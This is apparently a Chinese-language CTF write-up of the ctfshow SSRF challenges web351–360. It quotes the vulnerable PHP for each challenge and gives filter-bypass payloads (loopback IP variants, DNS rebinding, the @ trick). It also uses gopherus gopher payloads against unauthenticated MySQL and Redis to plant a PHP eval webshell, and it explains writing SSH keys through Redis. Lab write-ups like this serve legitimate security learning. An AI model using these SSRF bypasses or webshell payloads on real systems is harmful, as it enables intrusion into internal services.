web351
上来就是代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);//初始化 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$result=curl_exec($ch);//执行 cURL 会话
curl_close($ch);//关闭 cURL 会话
echo ($result);
?>
ssrf就是利用我们可以访问到的服务器,对其服务器下面的内网进行探测,也可以理解为服务器拥有外网ip,而我们要访问的电脑则是在公网ip进行nat后分配的内网ip
构造payload: (POST方式)
url=127.0.0.1/flag.php
web352
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);//解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){ //这里应该设置匹配的对象
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?
1.必须包含http,不能用file了
2.过滤没有输入参数,实际是为了过滤localhost,但是他代码没对,没有加入参数,结果啥也没过滤
web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
过滤掉了127.0.0.1和localhost
1)127.1会被解析成127.0.0.1,也就意味着为零可缺省
2)在Linux中,0也会被解析127.0.0.1
3)127.0.0.0/8是一个环回地址,从127.0.0.1~127.255.255.254都表示localhost
4)IP地址还可以通过表示成其他进制的形式访问,IP地址二进制,十进制,十六进制都可绕过
构造payload:
1)url=http://0/flag.php
2)url=http://127.1/flag.php
3)url=http://127.255.255.254/flag.php
4)url=http://2130706433/flag.php
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
过滤了0和1
1)http://sudo.cc这个域名就是指向127.0.0.1(将域名A类指向127.0.0.1)
2)2.可以跳转到一个自己搭建的网站,再通过自己网站的自动跳转,在
自己页面添加
<?php
header("Location:http://127.0.0.1/flag.php");
构造payload:
url=http://sudo.cc/flag.php
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
对host多了一个五位数的限制
构造payload:
1)url=http://0/flag.php
2)url=http://127.1/flag.php
web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>
和web355差不多,这里是限制三位数,构造payload:
url=http://0/flag.php
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
1)gethostbyname()函数
gethostbyname-返回主机名对应的IPv4地址
2)filter_var()函数
filter_var() 函数通过指定的过滤器过滤变量。
因为代码中使用了gethostbyname()函数获取了真实的IP地址,所以域名指向方法不能再使用,可以使用dns rebinding方法
DNS rebinding(DNS重新绑定攻击)
攻击的重点就在于DNS服务能够在两次DNS查询中返回不同的地址,第一次是真实IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略
DNS rebinding中设置两个IP,一个是127.0.0.1,另外一个是随便可以访问的IP
构造payload:
url=http://r.标识符/flag.php
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
正则匹配:url字符串要以hhtp://ctf为开头,show结尾,大概就是下面这样:
构造payload:
url=hhtp://ctf.@127.0.0.1/flag.php?show
补充一下parse_url测试
<?php
$url=' http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
以上例程会输出:
web359
题目提示:打无密码的mysql
抓个包,发现reurl可疑,存在ssrf
使用 gopher 协议去打 mysql
用 gopherus 工具生成 payload
python2 gopherus.py --exploit mysql
root
select '<?php eval($_POST[cmd]);?>' into outfile 'var/www/html/4.php'
将得到的payload下划线后面的字符串再进行一次url编码(防止出现特殊字符,后端curl接收到参数后默认解码一次)
传参:
访问4.php,用蚁剑连接,在根目录下找到flag.txt
或者也可以用hacker
…忘记保存截图了,再实操发现不太行,有空再试试。
web260
题目提示:打redis
什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器
漏洞的产生条件有以下两点:
redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网没有设置密码认证(一般为空),可以免密码远程登录redis服务
出现报错,说明存在redis服务
还是使用gopherus来生成Payload:
还是将得到的Payload下划线后面的字符串再次进行url编码,之后传参
这个时候默认生成shell.php文件,蚁剑连接,在根目录下找到了flaaag
参考文章:
https://www.ucloud.cn/yun/121452.html
https://blog.csdn.net/qq_50589021/article/details/120183781